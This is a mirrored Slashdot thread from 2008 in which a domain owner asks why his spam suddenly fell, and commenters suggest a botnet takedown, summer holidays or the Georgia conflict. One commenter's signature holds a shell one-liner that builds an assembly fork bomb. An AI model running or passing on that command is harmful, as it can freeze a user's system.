Slashdot Mirror
Where Has All My Spam Gone?
An anonymous reader writes "I have my own domain, which has its own email server, where I receive all my personal email. I've been getting about 800 emails a day, of which perhaps 20 are real. Suddenly, Sunday or Monday evening, the spam pretty much stopped. My volume of mail has plummeted to less than 100 a day, and as far as I can tell, I'm not missing any real mail — I'm still getting the email list subscriptions I'm expecting, and every time I ask someone to send me a test message, it gets through. My domain host insists that it doesn't do any spam filtering before mail gets to my inbox, and that they've changed nothing about their configuration. I run SpamAssassin on my server to mark, but not delete, spam, and download the whole mess to my home client, and I'm still seeing the occasional message tagged by SpamAssassin. But it's virtually all gone. And I haven't changed anything about my own mail configuration, or the harvestability of my site (my personal email has been harvestable for almost a decade). So what's going on? I can't believe that several major botnets would have vanished overnight. Any ideas?"
*Checks mail logs*
Yeh, you need to ask the ISP again. No sign of slowing here.
Per Ars, a 100,000 machine bot net was shut down recently. http://arstechnica.com/news.ars/post/20080814-police-nab-shadow-creators-force-botnet-to-commit-suicide.html
http://arstechnica.com/news.ars/post/20080814-police-nab-shadow-creators-force-botnet-to-commit-suicide.html
That may account for some of it.
Hail Eris, full of mischief...
E pluribus sanguinem
Were the missing spam-mails mostly in Dutch?
http://arstechnica.com/news.ars/post/20080814-police-nab-shadow-creators-force-botnet-to-commit-suicide.html
"Shadow appears to have been mostly confined to the Netherlands, as the messages and phishing hooks were all sent in Dutch, but had apparently infected some US systems as well, as the FBI is credited for assisting on the case."
...
"Once Shadow was secured, the police contacted Kaspersky Labs about providing a means to neutralize the malware."
Without seeing your logs, most folks would be guessing. They symptoms you provide are not enough to make an educated guess. I would say to bump up the verbosity of your email server, SpamAssassin, and the system itself and then go from there.
There are no loopholes. It's either legal or it's not.
Fake news alerts seem to be the new thing for my inbox.
our spam seems to be climbing.
# of spams / date (m/d)
16,037 8/15
17,385 8/14
17,287 8/13
16,352 8/12
15,171 8/11
16,505 8/10
14,344 8/9
12,157 8/8
12,465 8/7
11,942 8/6
12,265 8/5
10,124 8/4
11,437 8/3
13,417 8/2
12,858 8/1
-= Why can't I add 'Anonymous Coward' to my list of Foes? =-
In a 24 hour period we've gone from a peak of about 75,000 messages at 9pm CST last night to a low of 40,000 messages incoming today, 97.3% of which are spam. Total for the last 24 hours on that single Ironport (we have 4 in production and one in the lab) is 1.4 Million attempted messages, of which 36.1 thousand were clean.
So all things taken into consideration, consider yourself fortunate. We're still seeing a trend that indicates that over 97% of all incoming mail is garbage.
-Phil
To avoid corruption, one must remain dishonest.
lemme guess, most common infection name is Antivirus XP 2008?
I've started having those pop up left and right, and you are correct, once you think you have the virus gone, you think you're clean. EEEEEEE wrong. There's actually a botnet hiding behind that virus load, and if you don't pull it off, it does it's own direct port 25 push. I've three computers in my near vicinity that all have that loaded on their systems, and at first I was ready to wipe the frigging machine.
Don't forget to clear system restore too!!!
2^3 * 31 * 647
Russian I was getting for a while, as well. Not anymore. /dev/null for anything with charset koi8-r or windows-1251.
CNN I was getting for a few days. Seems to have disappeared again.
Here's the secret to immortality:
Most spam is sent by bot-nets, mostly composed by infected pc of workplaces, school and private homes. In many countries during the second and third week of August many schools and workplaces are closed so their pc are just turned off, this mean that the bot-nets have less active nodes and so are less effective. I do receive less spam too but I think that it will be back to the sad old amount at the end of the summer :(
Unluckily Murphy was right.
Simple. Configure your mailserver to block all bounce messages unless they originate from a server that you've sent a mail to in the past 12 hours. Then you'll only get legit bounces.
There is nothing interesting going on at my blog
Memez are in ur brainz, eating ur intelligence.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Seriously though ... if spammers started turning up dead where would the police even begin their investigation? There's only a pool of what, half a billion suspects?
Spammers and virus writers employed by spammers to create their zombie pools have been turning up dead for almost two years now.
and you will block quite a few legit bounces too for two reasons
1: 12 hours is nowhere near long enough
2: the message may be routed through multiple servers before finally getting bounced.
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
Cite my source? I am the primary source. I have a forensic image of such a machine sitting right next to me.
Not everything on the internet originates at some other place on the internet. Somewhere, original sources actually exist, and they have nothing else to cite.
I have seen four such infections, all came through hotmail (we think).
A slashdotter who didn't build his own computer is like a Jedi who didn't build his own lightsaber.
What are you talking about?
Beam scores:
Liukin - 16.125
Johnson - 16.050
Yang - 15.750
I swear, I've never heard anybody but Americans complain about judging in an event that they WON.
Haida Manga
Here, in Germany, I've noticed this also: On my private mail server, the SPAM is almost gone (only 1-3 messages per day, instead of 20-30), at work I have similar experience: the amount of continuous SPAM per day is down to 1/10, but, every Thursday or Friday (since three weeks now), we get a huge wave of SMTP connections at ca. 4 pm CEST (from bot nets), which almost breaks down our internet connection. Both systems are using postfix+postgrey+amavis(spamassassin, dcc, razor, etc.). My suspicion: I am assuming my brothers are busy now with Georgia servers, so as long as the conflict in Caucasus is not over... :-P
Kind regards,
Denis
1. If you've made no configuration changes or patches in the past week, that pretty much lets out program error.
2. If your ISP is saying they don't do spam filtering, then that pretty much lets that out too, unless your ISP is given to lying to you.
3. Others point to the cyber war between Georga and Russia. I'd think that those folks would have their own bots not associated with spamming, but I can't prove that.
4. It surpasses hope that all the sudden people cleaned up their pwon3d systems.
5. My spam levels have not dropped appreciably, and I not only have my own domain, but allocations as well.
6. I have noticed at times in the past that my spam levels do drop by 60, 70, even 80%. They always pick back up before too long. Enjoy a breif respite.
Necessity is the plea for every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves.